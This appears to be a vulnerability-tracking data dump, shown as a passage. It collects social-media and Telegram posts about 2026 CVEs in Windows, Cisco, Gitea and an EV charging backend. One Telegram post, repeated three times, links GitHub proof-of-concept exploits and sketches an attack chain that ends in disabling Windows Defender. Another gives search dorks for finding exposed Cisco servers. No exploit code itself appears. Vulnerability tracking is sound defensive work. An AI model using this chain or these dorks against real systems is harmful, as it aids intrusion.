"author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20805", "type": "published-proof-of-concept", "source": "https://t.me/CyberSecurityExploit/31152", "content": "\u26a0\ufe0f CVE / ZERO-DAY\n\ud83d\udea8 Windows Zero-Day & Related CVEs (PoC Included)\n\n\ud83e\udde8 1. BlueHammer (CVE-2026-33825)\n\u2022 Type: Local Privilege Escalation (LPE)\n\u2022 Impact: User \u2192 SYSTEM privileges\n\u2022 Features:\n   \u2022 Exploits Windows Defender update mechanism\n   \u2022 TOCTOU + Path Confusion\n\u2022 Status:\n   \u2022 PoC publicly available\n   \u2022 Used in real-world attacks\n   \u2022 Patched\n\n\ud83d\udccc GitHub PoC\nhttps://github.com/Nightmare-Eclipse/BlueHammer\n\n\ud83d\udd25 2. RedSun (Windows Defender Zero-Day)\n\u2022 Type: Local Privilege Escalation (LPE)\n\u2022 Impact: SYSTEM privileges\n\u2022 Features:\n   \u2022 Reparse Point + file overwrite\n   \u2022 Abuses Defender logic\n\u2022 Status:\n   \u2022 PoC publicly available\n   \u2022 Actively exploited\n   \u2022 Unpatched in some environments\n\n\ud83d\udccc GitHub PoC\nhttps://github.com/Nightmare-Eclipse/RedSun\n\n\u2620\ufe0f 3. UnDefend\n\u2022 Type: Defender Disable / DoS\n\u2022 Impact:\n  \u2022 Blocks Defender updates\n  \u2022 Disables security protections\n\u2022 Features:\n  \u2022 Works with standard user privileges\n  \u2022 Critical in attack chains\n\u2022 Status:\n  \u2022 PoC publicly available\n  \u2022 Partially unpatched\n\n\ud83d\udccc GitHub PoC\nhttps://github.com/Nightmare-Eclipse/UnDefend\n\n\ud83d\udca5 4. CVE-2026-20841 (Windows Notepad RCE)\n\u2022 Type: Remote Code Execution (RCE)\n\u2022 Condition:\n   \u2022 Opening a malicious Markdown file\n\u2022 Features:\n   \u2022 Improper input validation\n   \u2022 Multiple PoCs available\n\n\ud83d\udccc GitHub PoC\nhttps://github.com/404godd/CVE-2026-20841-PoC\nhttps://github.com/dogukankurnaz/CVE-2026-20841-PoC\nhttps://github.com/hackfaiz/CVE-2026-20841-PoC\nhttps://github.com/tangent65536/CVE-2026-20841\nhttps://github.com/SecureWithUmer/CVE-2026-20841\nhttps://github.com/EleniChristopoulou/PoC-CVE-2026-20841\n\n\ud83d\udd0d 5. CVE-2026-20805 (DWM Info Leak)\n\u2022 Type: Information Disclosure\n\u2022 Features:\n   \u2022 Used in exploit chains\n   \u2022 Provides leak primitives\n\u2022 Status:\n   \u2022 PoC publicly available\n\n\ud83d\udccc GitHub PoC\nhttps://github.com/fevar54/CVE-2026-20805-POC\nhttps://github.com/Uzair-Baig0900/CVE-2026-20805-PoC\n\n\ud83d\udca3 6. CVE-2026-29923 (BYOVD LPE)\n\u2022 Type: Local Privilege Escalation (LPE)\n\u2022 Features:\n   \u2022 BYOVD (Bring Your Own Vulnerable Driver)\n   \u2022 IOCTL-based SYSTEM privilege escalation\n\u2022 Status:\n   \u2022 PoC publicly available\n\n\ud83d\udccc GitHub PoC\nhttps://github.com/athenasec16/CVE-2026-29923\nhttps://github.com/Smarttfoxx/CVE-2026-29923\n\n\ud83d\udda5 7. CVE-2026-23668 (Windows Graphics)\n\u2022 Type: LPE / RCE\n\u2022 Features:\n   \u2022 Race condition vulnerability\n\u2022 Status:\n   \u2022 No public GitHub PoC (as of now)\n\n\u26a0\ufe0f Example Attack Chain\nInitial Access (Notepad / MSHTML)\n        \u2193\nInfo Leak (DWM - CVE-2026-20805)\n        \u2193\nPrivilege Escalation (RedSun / BlueHammer / BYOVD)\n        \u2193\nDefender Disable (UnDefend)\n\n\ud83d\udccc Key Takeaways\n\u2714\ufe0f Confirmed GitHub PoCs\n\u2022 BlueHammer\n\u2022 RedSun\n\u2022 UnDefend\n\u2022 CVE-2026-20841\n\u2022 CVE-2026-20805\n\u2022 CVE-2026-29923\n\u2714\ufe0f Full attack chain possible\n\u2192 Initial access \u2192 Info leak \u2192 Privilege escalation \u2192 Defense bypass\n\u2714\ufe0f Current risk level\n\ud83d\udc49 Defender-related vulnerabilities included\n\ud83d\udc49 Some remain unpatched\n\ud83d\udc49 Practical real-world exploitation possible\n\n\u2796\u2796\u2796\u2796\u2796\u2796\u2796\u2796\u2796\u2796\n\n\ud83d\udd10 Cyber Security Exploit Community\nTelegram Group\nhttps://t.me/Cyber_Security_Exploit\n\nTelegram Channel\nhttps://t.me/CyberSecurityExploit\n\nResearch \u2022 Ethical Hacking \u2022 Red Team", "creation_timestamp": "2026-08-16T00:00:25.674573Z"}, {"uuid": "747bdd7d-83b5-441f-a427-f779ad10dcb3", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20805", "type": "seen", "source": "https://t.me/CyberSecurityExploit/31153", "content": "\u26a0\ufe0f CVE / ZERO-DAY\n\ud83d\udea8 Windows Zero-Day & Related CVEs (PoC Included)\n\n\ud83e\udde8 1. BlueHammer (CVE-2026-33825)\n\u2022 Type: Local Privilege Escalation (LPE)\n\u2022 Impact: User \u2192 SYSTEM privileges\n\u2022 Features:\n   \u2022 Exploits Windows Defender update mechanism\n   \u2022 TOCTOU + Path Confusion\n\u2022 Status:\n   \u2022 PoC publicly available\n   \u2022 Used in real-world attacks\n   \u2022 Patched\n\n\ud83d\udccc GitHub PoC\nhttps://github.com/Nightmare-Eclipse/BlueHammer\n\n\ud83d\udd25 2. RedSun (Windows Defender Zero-Day)\n\u2022 Type: Local Privilege Escalation (LPE)\n\u2022 Impact: SYSTEM privileges\n\u2022 Features:\n   \u2022 Reparse Point + file overwrite\n   \u2022 Abuses Defender logic\n\u2022 Status:\n   \u2022 PoC publicly available\n   \u2022 Actively exploited\n   \u2022 Unpatched in some environments\n\n\ud83d\udccc GitHub PoC\nhttps://github.com/Nightmare-Eclipse/RedSun\n\n\u2620\ufe0f 3. UnDefend\n\u2022 Type: Defender Disable / DoS\n\u2022 Impact:\n  \u2022 Blocks Defender updates\n  \u2022 Disables security protections\n\u2022 Features:\n  \u2022 Works with standard user privileges\n  \u2022 Critical in attack chains\n\u2022 Status:\n  \u2022 PoC publicly available\n  \u2022 Partially unpatched\n\n\ud83d\udccc GitHub PoC\nhttps://github.com/Nightmare-Eclipse/UnDefend\n\n\ud83d\udca5 4. CVE-2026-20841 (Windows Notepad RCE)\n\u2022 Type: Remote Code Execution (RCE)\n\u2022 Condition:\n   \u2022 Opening a malicious Markdown file\n\u2022 Features:\n   \u2022 Improper input validation\n   \u2022 Multiple PoCs available\n\n\ud83d\udccc GitHub PoC\nhttps://github.com/404godd/CVE-2026-20841-PoC\nhttps://github.com/dogukankurnaz/CVE-2026-20841-PoC\nhttps://github.com/hackfaiz/CVE-2026-20841-PoC\nhttps://github.com/tangent65536/CVE-2026-20841\nhttps://github.com/SecureWithUmer/CVE-2026-20841\nhttps://github.com/EleniChristopoulou/PoC-CVE-2026-20841\n\n\ud83d\udd0d 5. CVE-2026-20805 (DWM Info Leak)\n\u2022 Type: Information Disclosure\n\u2022 Features:\n   \u2022 Used in exploit chains\n   \u2022 Provides leak primitives\n\u2022 Status:\n   \u2022 PoC publicly available\n\n\ud83d\udccc GitHub PoC\nhttps://github.com/fevar54/CVE-2026-20805-POC\nhttps://github.com/Uzair-Baig0900/CVE-2026-20805-PoC\n\n\ud83d\udca3 6. CVE-2026-29923 (BYOVD LPE)\n\u2022 Type: Local Privilege Escalation (LPE)\n\u2022 Features:\n   \u2022 BYOVD (Bring Your Own Vulnerable Driver)\n   \u2022 IOCTL-based SYSTEM privilege escalation\n\u2022 Status:\n   \u2022 PoC publicly available\n\n\ud83d\udccc GitHub PoC\nhttps://github.com/athenasec16/CVE-2026-29923\nhttps://github.com/Smarttfoxx/CVE-2026-29923\n\n\ud83d\udda5 7. CVE-2026-23668 (Windows Graphics)\n\u2022 Type: LPE / RCE\n\u2022 Features:\n   \u2022 Race condition vulnerability\n\u2022 Status:\n   \u2022 No public GitHub PoC (as of now)\n\n\u26a0\ufe0f Example Attack Chain\nInitial Access (Notepad / MSHTML)\n        \u2193\nInfo Leak (DWM - CVE-2026-20805)\n        \u2193\nPrivilege Escalation (RedSun / BlueHammer / BYOVD)\n        \u2193\nDefender Disable (UnDefend)\n\n\ud83d\udccc Key Takeaways\n\u2714\ufe0f Confirmed GitHub PoCs\n\u2022 BlueHammer\n\u2022 RedSun\n\u2022 UnDefend\n\u2022 CVE-2026-20841\n\u2022 CVE-2026-20805\n\u2022 CVE-2026-29923\n\u2714\ufe0f Full attack chain possible\n\u2192 Initial access \u2192 Info leak \u2192 Privilege escalation \u2192 Defense bypass\n\u2714\ufe0f Current risk level\n\ud83d\udc49 Defender-related vulnerabilities included\n\ud83d\udc49 Some remain unpatched\n\ud83d\udc49 Practical real-world exploitation possible\n\n\u2796\u2796\u2796\u2796\u2796\u2796\u2796\u2796\u2796\u2796\n\n\ud83d\udd10 Cyber Security Exploit Community\nTelegram Group\nhttps://t.me/Cyber_Security_Exploit\n\nTelegram Channel\nhttps://t.me/CyberSecurityExploit\n\nResearch \u2022 Ethical Hacking \u2022 Red Team", "creation_timestamp": "2026-08-16T00:00:33.773595Z"}, {"uuid": "bd5d4db8-72d4-44a8-a4b6-4cc10dda9c1b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20841", "type": "seen", "source": "https://t.me/CyberSecurityExploit/31153", "content": "\u26a0\ufe0f CVE / ZERO-DAY\n\ud83d\udea8 Windows Zero-Day & Related CVEs (PoC Included)\n\n\ud83e\udde8 1. BlueHammer (CVE-2026-33825)\n\u2022 Type: Local Privilege Escalation (LPE)\n\u2022 Impact: User \u2192 SYSTEM privileges\n\u2022 Features:\n   \u2022 Exploits Windows Defender update mechanism\n   \u2022 TOCTOU + Path Confusion\n\u2022 Status:\n   \u2022 PoC publicly available\n   \u2022 Used in real-world attacks\n   \u2022 Patched\n\n\ud83d\udccc GitHub PoC\nhttps://github.com/Nightmare-Eclipse/BlueHammer\n\n\ud83d\udd25 2. RedSun (Windows Defender Zero-Day)\n\u2022 Type: Local Privilege Escalation (LPE)\n\u2022 Impact: SYSTEM privileges\n\u2022 Features:\n   \u2022 Reparse Point + file overwrite\n   \u2022 Abuses Defender logic\n\u2022 Status:\n   \u2022 PoC publicly available\n   \u2022 Actively exploited\n   \u2022 Unpatched in some environments\n\n\ud83d\udccc GitHub PoC\nhttps://github.com/Nightmare-Eclipse/RedSun\n\n\u2620\ufe0f 3. UnDefend\n\u2022 Type: Defender Disable / DoS\n\u2022 Impact:\n  \u2022 Blocks Defender updates\n  \u2022 Disables security protections\n\u2022 Features:\n  \u2022 Works with standard user privileges\n  \u2022 Critical in attack chains\n\u2022 Status:\n  \u2022 PoC publicly available\n  \u2022 Partially unpatched\n\n\ud83d\udccc GitHub PoC\nhttps://github.com/Nightmare-Eclipse/UnDefend\n\n\ud83d\udca5 4. CVE-2026-20841 (Windows Notepad RCE)\n\u2022 Type: Remote Code Execution (RCE)\n\u2022 Condition:\n   \u2022 Opening a malicious Markdown file\n\u2022 Features:\n   \u2022 Improper input validation\n   \u2022 Multiple PoCs available\n\n\ud83d\udccc GitHub PoC\nhttps://github.com/404godd/CVE-2026-20841-PoC\nhttps://github.com/dogukankurnaz/CVE-2026-20841-PoC\nhttps://github.com/hackfaiz/CVE-2026-20841-PoC\nhttps://github.com/tangent65536/CVE-2026-20841\nhttps://github.com/SecureWithUmer/CVE-2026-20841\nhttps://github.com/EleniChristopoulou/PoC-CVE-2026-20841\n\n\ud83d\udd0d 5. CVE-2026-20805 (DWM Info Leak)\n\u2022 Type: Information Disclosure\n\u2022 Features:\n   \u2022 Used in exploit chains\n   \u2022 Provides leak primitives\n\u2022 Status:\n   \u2022 PoC publicly available\n\n\ud83d\udccc GitHub PoC\nhttps://github.com/fevar54/CVE-2026-20805-POC\nhttps://github.com/Uzair-Baig0900/CVE-2026-20805-PoC\n\n\ud83d\udca3 6. CVE-2026-29923 (BYOVD LPE)\n\u2022 Type: Local Privilege Escalation (LPE)\n\u2022 Features:\n   \u2022 BYOVD (Bring Your Own Vulnerable Driver)\n   \u2022 IOCTL-based SYSTEM privilege escalation\n\u2022 Status:\n   \u2022 PoC publicly available\n\n\ud83d\udccc GitHub PoC\nhttps://github.com/athenasec16/CVE-2026-29923\nhttps://github.com/Smarttfoxx/CVE-2026-29923\n\n\ud83d\udda5 7. CVE-2026-23668 (Windows Graphics)\n\u2022 Type: LPE / RCE\n\u2022 Features:\n   \u2022 Race condition vulnerability\n\u2022 Status:\n   \u2022 No public GitHub PoC (as of now)\n\n\u26a0\ufe0f Example Attack Chain\nInitial Access (Notepad / MSHTML)\n        \u2193\nInfo Leak (DWM - CVE-2026-20805)\n        \u2193\nPrivilege Escalation (RedSun / BlueHammer / BYOVD)\n        \u2193\nDefender Disable (UnDefend)\n\n\ud83d\udccc Key Takeaways\n\u2714\ufe0f Confirmed GitHub PoCs\n\u2022 BlueHammer\n\u2022 RedSun\n\u2022 UnDefend\n\u2022 CVE-2026-20841\n\u2022 CVE-2026-20805\n\u2022 CVE-2026-29923\n\u2714\ufe0f Full attack chain possible\n\u2192 Initial access \u2192 Info leak \u2192 Privilege escalation \u2192 Defense bypass\n\u2714\ufe0f Current risk level\n\ud83d\udc49 Defender-related vulnerabilities included\n\ud83d\udc49 Some remain unpatched\n\ud83d\udc49 Practical real-world exploitation possible\n\n\u2796\u2796\u2796\u2796\u2796\u2796\u2796\u2796\u2796\u2796\n\n\ud83d\udd10 Cyber Security Exploit Community\nTelegram Group\nhttps://t.me/Cyber_Security_Exploit\n\nTelegram Channel\nhttps://t.me/CyberSecurityExploit\n\nResearch \u2022 Ethical Hacking \u2022 Red Team", "creation_timestamp": "2026-08-16T00:00:33.824906Z"}, {"uuid": "8653a38f-7842-4164-a7dc-ea29d1921ef9", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "cve-2026-20744", "type": "seen", "source": "https://infosec.exchange/users/offseq/statuses/116898400596472098", "content": "CVE-2026-20744 (CRITICAL, CVSS 9.8): Hydro-Qu\u00e9bec Le Circuit Electrique backend websocket lacks auth, allowing privilege escalation. No patch available. Restrict access & monitor connections. https://radar.offseq.com/threat/cve-2026-20744-cwe-284-in-hydro-qubec-le-circuit-e-bd15f6a4c1c3953e #OffSeq #CVE202620744 #ICS #Vulnerability", "creation_timestamp": "2026-07-11T00:00:38.029789Z"}, {"uuid": "33f94021-30cb-4d30-844e-728aaef53562", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "cve-2026-20744", "type": "seen", "source": "https://bsky.app/profile/offseq.bsky.social/post/3mqdea35kfd24", "content": "Hydro-Qu\u00e9bec Le Circuit Electrique backend CRITICAL vuln (CVSS 9.8): Unauthenticated websocket lets attackers escalate privileges. Restrict access & monitor until patch available. https://radar.offseq.com/threat/cve-2026-20744-cwe-284-in-hydro-qubec-le-circuit-e-bd15f6a4c1c3953e #OffSeq #CVE20262...", "creation_timestamp": "2026-07-11T00:00:45.132669Z"}, {"uuid": "97e63f7c-4eaf-4f5e-adfa-c523ef6c0aca", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20744", "type": "seen", "source": "https://bsky.app/profile/stackflag.bsky.social/post/3mqdf7b44242w", "content": "CVE-2026-20744\nThe charging station's websocket endpoint doesn't require authentication, allowing unauthorized users to potentially gain higher access levels. This could lead to unauthorized access to sensitive charging\u2026\n\nToo many irrelevant or confusing CVEs? Use stackflag.com\n\n#CVE #infosec", "creation_timestamp": "2026-07-11T00:18:05.216666Z"}, {"uuid": "f22db711-f863-4dc8-ac25-19c9485236b8", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20744", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3mqdgsn62rd24", "content": "CVE-2026-20744 - Hydro-Qu\u00e9bec Le Circuit Electrique charging station backend Improper Access Control\nCVE ID : CVE-2026-20744\n \n Published : July 10, 2026, 11:16 p.m. | 32\u00a0minutes ago\n \n Description : The charging station websocket endpoint accepts connections without \nproper a...", "creation_timestamp": "2026-07-11T00:46:48.836321Z"}, {"uuid": "15bc945d-bb65-452b-81de-97625ef14652", "vulnerability_lookup_origin": "c8fb6bf1-f81f-4cb8-95b1-eadbb3b54ee8", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20253", "type": "exploited", "source": "https://vulnerability.circl.lu/known-exploited-vulnerabilities-catalog/f7c27c22-c307-4af0-b813-e6bbe2df7f54", "content": "", "creation_timestamp": "2026-07-11T01:00:37.188807Z"}, {"uuid": "0d085240-a53d-4111-b6d6-29efc94ac97c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20349", "type": "seen", "source": "https://bsky.app/profile/cvesentinel.bsky.social/post/3mstgk7qtn32a", "content": "\ud83d\uded1 CVE-2026-20349\nCisco Secure Firewall Adaptive Security Appliance (ASA) and Secure Firewall Thre\nCVSS 8.6 / KEV \u2705\nTL;DR: A vulnerability in the Remote Access S\u2026\nhttps://cvesentinel.com/report/CVE-2026-20349?utm_source=bluesky&utm_medium=social&utm_campaign=cvesentinel\n#infosec #CVE #vulnerability", "creation_timestamp": "2026-08-11T20:15:05.664743Z"}, {"uuid": "c2a58c8e-3b13-431a-884c-fc8269a486a4", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20262", "type": "seen", "source": "https://bsky.app/profile/hermes71.bsky.social/post/3mshrpvtk4r2n", "content": "Daily IT Security Digest \u2014 2026-08-07\nA critical zero-day vulnerability (CVE-2026-20262) in Cisco Catalyst SD-WAN Manager is being actively exploited. Threat actors with write access can escalate to root privileges through crafted HTTP requests. Organizations running SD-WAN Manager should patch", "creation_timestamp": "2026-08-07T05:03:10.887058Z"}, {"uuid": "dccbaf2a-596a-48dc-b5ae-3556186278e9", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20896", "type": "seen", "source": "https://bsky.app/profile/newssecia.bsky.social/post/3mqds5kboup2q", "content": "\ud83e\udd16 CVE-2026-20896: Gitea Docker auth bypass actively exploited. Attackers impersonate any user including admins. Docker image trusted identity headers from any IP. Patch available.\nhttps://www.bleepingcomputer.com/news/security/hackers-exploit-critical-auth-bypass-in-gitea-docker-image/", "creation_timestamp": "2026-07-11T04:09:46.313704Z"}, {"uuid": "6997ac4f-77a1-4e0c-9bda-b5cea697887b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20744", "type": "seen", "source": "https://bsky.app/profile/kriptabiz.bsky.social/post/3mqdratnm4d27", "content": "\u0423\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c CVE-2026-20744: \u041d\u0435\u0441\u0430\u043d\u043a\u0446\u0438\u043e\u043d\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u044b\u0439 \u0434\u043e\u0441\u0442\u0443\u043f \u043a \u0432\u0435\u0431-\u0441\u043e\u043a\u0435\u0442\u043d\u043e\u043c\u0443 \u0438\u043d\u0442\u0435\u0440\u0444\u0435\u0439\u0441\u0443 \u0437\u0430\u0440\u044f\u0434\u043d\u044b\u0445 \u0441\u0442\u0430\u043d\u0446\u0438\u0439\n\n\n\nhttps://kripta.biz/posts/1AA7653E-01E0-414D-BDA7-88B0AE4EC205", "creation_timestamp": "2026-07-11T03:53:42.817837Z"}, {"uuid": "64740c48-49e0-417d-9d77-a4899e0cb906", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20896", "type": "seen", "source": "https://bsky.app/profile/blog.bubam.de/post/3mqdx3jldde22", "content": "Ein HTTP-Header gen\u00fcgt: Gitea-L\u00fccke CVE-2026-20896 (CVSS 9.8), aktiv ausgenutzt. Ich betreibe selbst eine Instanz \u2014 gepr\u00fcft, geh\u00e4rtet, aktualisiert. Und: \u201enicht erreichbar\" pr\u00fcft man von au\u00dfen, nicht im Config-File.\n\nhttps://blog.bubam.de/2026-07-11_gitea-ein-header-genuegt.html?s=bs", "creation_timestamp": "2026-07-11T05:38:07.342402Z"}, {"uuid": "1ac9aa24-c0db-4fff-b2c5-94bcbc6da5c7", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20896", "type": "seen", "source": "https://bsky.app/profile/eyalestrin.bsky.social/post/3mqebg4vrz62a", "content": "Urgent Action Required Gitea Docker Authentication Bypass (CVE-2026-20896 and CVE-2026-27771) #patchmanagement", "creation_timestamp": "2026-07-11T08:43:00.334770Z"}, {"uuid": "078c9455-b640-43d8-88a4-1ded99a55c73", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20230", "type": "published-proof-of-concept", "source": "https://t.me/brutsecurity/2769", "content": "\ud83d\udea8 CVE-2026-20230: Cisco Unified Communications Manager and Cisco Unified Communications Manager Session Management Edition Server-Side Request Forgery (SSRF)\n\nCritical Vulnerability Alert!\nCisco Unified Communications Manager is affected by CVE-2026-20230.\n\nFull Vulnerability Details & Analysis at DarkEye:\n\ud83d\udd17 https://darkeye.org/vuln/cve/CVE-2026-20230\n\n\ud83d\udd0d Identify Targets via ZoomEye:\n\nFilter: vul.cve=\"CVE-2026-20230\"\nSearch Dork: app=\"Cisco Unified Communications Manager\"\nExposure: 5k instances identified globally.\n\nZoomEye Search Link:\n\ud83d\udc49 https://www.zoomeye.ai/searchResult?q=YXBwPSJDaXNjbyBVbmlmaWVkIENvbW11bmljYXRpb25zIE1hbmFnZXIi&t=all&utm_source=telegram&utm_medium=community&utm_campaign=cve_ops_20260626", "creation_timestamp": "2026-07-11T09:00:04.661151Z"}, {"uuid": "25d67cca-6165-4128-9719-061da38be28d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20217", "type": "published-proof-of-concept", "source": "Telegram/yH0XhfWqkuNLj6YQvCrDlaRCWGJc-BvLoJvLCEGvyWoy79M", "content": "", "creation_timestamp": "2026-08-18T10:00:03.786637Z"}, {"uuid": "013ed58f-aec1-4c56-8cc7-977bbca2a40c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20349", "type": "seen", "source": "https://bsky.app/profile/cyfar.ca/post/3mstgohp7m52v", "content": "~Cisa~\nCISA added three actively exploited vulnerabilities (Cisco ASA/FTD, Windows WinSock, Metabase) to the KEV Catalog.\n-\nIOCs: CVE-2026-20349, CVE-2026-68820, CVE-2026-72898\n-\n#CISA #CVE #ThreatIntel", "creation_timestamp": "2026-08-11T20:17:28.123179Z"}, {"uuid": "c4206f0c-9ec2-45e0-98e8-bdf9231c2012", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20744", "type": "seen", "source": "https://bsky.app/profile/thehackerwire.bsky.social/post/3mqemgu5tlq2k", "content": "\ud83d\udd34 CVE-2026-20744 - Critical (9.8)\n\nThe charging station websocket endpoint accepts connections without \nproper authentication, which...\n\nhttps://www.thehackerwire.com/vulnerability/CVE-2026-20744/\n\n#infosec #cybersecurity #CVE #vulnerability #security #patchstack", "creation_timestamp": "2026-07-11T12:00:16.173516Z"}, {"uuid": "5e0acb44-ec18-4d0c-abba-9a097da920bf", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "cve-2026-20896", "type": "seen", "source": "https://bsky.app/profile/ahmandonk.bsky.social/post/3mqeoqctp2g2s", "content": "\ud83d\udcf0 Peretas Aktif Mengeksploitasi Celah Kritis pada Docker Image Gitea, Bisa Login Sebagai Administrator\n\n\ud83d\udc49 Baca artikel lengkap di sini: https://ahmandonk.com/2026/07/11/kerentanan-gitea-docker-cve-2026-20896/\n\n#authenticationBypass #ci/cd #cve-2026-20896 #cyberSecurity #devops #docker #git #gi", "creation_timestamp": "2026-07-11T12:41:21.516481Z"}, {"uuid": "46dd88fd-a6a3-4292-97d7-f51fbbd16fd6", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20349", "type": "seen", "source": "https://bsky.app/profile/Xavier.infosec.exchange.ap.brid.gy/post/3mstgrgoqku72", "content": "This is being actively exploited. CVE-2026-20349. Patch now. Like right now. #infosec #vpn #cisco #cve\nhttps://www.bleepingcomputer.com/news/security/cisco-warns-of-asa-and-ftd-vpn-flaw-exploited-to-crash-devices/", "creation_timestamp": "2026-08-11T20:19:15.087734Z"}, {"uuid": "8becd87e-6c42-47ca-a23e-1dd9740fc83d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20262", "type": "seen", "source": "https://bsky.app/profile/getpokemon7.bsky.social/post/3mqfsyi6xqc2i", "content": "CISA Adds Two Known Exploited Vulnerabilities to Catalog\nRelease Date June 15, 2026\n\nCVE-2026-20262 Cisco Catalyst SD-WAN Manager Directory or Path Traversal Vulnerability\nCVE-2026-54420 LiteSpeed cPanel Plugin UNIX Symbolic Link (Symlink) Following Vulnerability", "creation_timestamp": "2026-07-11T23:30:09.455875Z"}, {"uuid": "e2d83f90-e688-418a-8c18-1cb419c34cc0", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20262", "type": "seen", "source": "https://bsky.app/profile/getpokemon7.bsky.social/post/3mqftxroxuk2i", "content": "\u300cCisco Catalyst SD-WAN Manager\u300d\u306b\u8106\u5f31\u6027 - \u4fb5\u5bb3\u6709\u7121\u306e\u78ba\u8a8d\u3092\n\nCisco Systems\u306f\u73fe\u5730\u6642\u95932026\u5e746\u670815\u65e5\u3001\u300cCisco Catalyst SD-WAN Manager\uff08\u65e7SD-WAN vManage\uff09\u300d\u306b\u95a2\u3059\u308b\u8106\u5f31\u6027\u306b\u3064\u3044\u3066\u660e\u3089\u304b\u306b\u3057\u305f\u3002\u60aa\u7528\u304c\u78ba\u8a8d\u3055\u308c\u3066\u304a\u308a\u3001\u4fb5\u5bb3\u72b6\u6cc1\u306e\u78ba\u8a8d\u306a\u3069\u3092\u547c\u3073\u304b\u3051\u3066\u3044\u308b\u3002\n\n\u540c\u88fd\u54c1\u306e\u30a6\u30a7\u30d6\u30e6\u30fc\u30b6\u30fc\u30a4\u30f3\u30bf\u30d5\u30a7\u30fc\u30b9\u306e\u30d5\u30a1\u30a4\u30eb\u30a2\u30c3\u30d7\u30ed\u30fc\u30c9\u51e6\u7406\u306b\u554f\u984c\u304c\u3042\u308a\u3001\u7d30\u5de5\u3057\u305fHTTP\u30ea\u30af\u30a8\u30b9\u30c8\u3092API\u306b\u9001\u4fe1\u3059\u308b\u3053\u3068\u3067\u3001\u4efb\u610f\u306e\u30d5\u30a1\u30a4\u30eb\u3092\u66f8\u304d\u8fbc\u3080\u3053\u3068\u304c\u3067\u304d\u308b\u8106\u5f31\u6027\u300cCVE-2026-20262\u300d\u306b\u3064\u3044\u3066\u660e\u3089\u304b\u306b\u3057\u305f\u3082\u306e\u3002\n\n\u30aa\u30f3\u30d7\u30ec\u30df\u30b9\u74b0...", "creation_timestamp": "2026-07-11T23:47:39.995567Z"}, {"uuid": "43d7d33b-3326-4df1-a5aa-c6d1b6c995be", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20262", "type": "seen", "source": "https://bsky.app/profile/getpokemon7.bsky.social/post/3mqftyyvhgc2i", "content": "\u8106\u5f31\u6027\u306e\u60aa\u7528\u30ab\u30bf\u30ed\u30b0\u306b2\u4ef6\u3092\u3042\u3089\u305f\u306b\u8ffd\u52a0 - 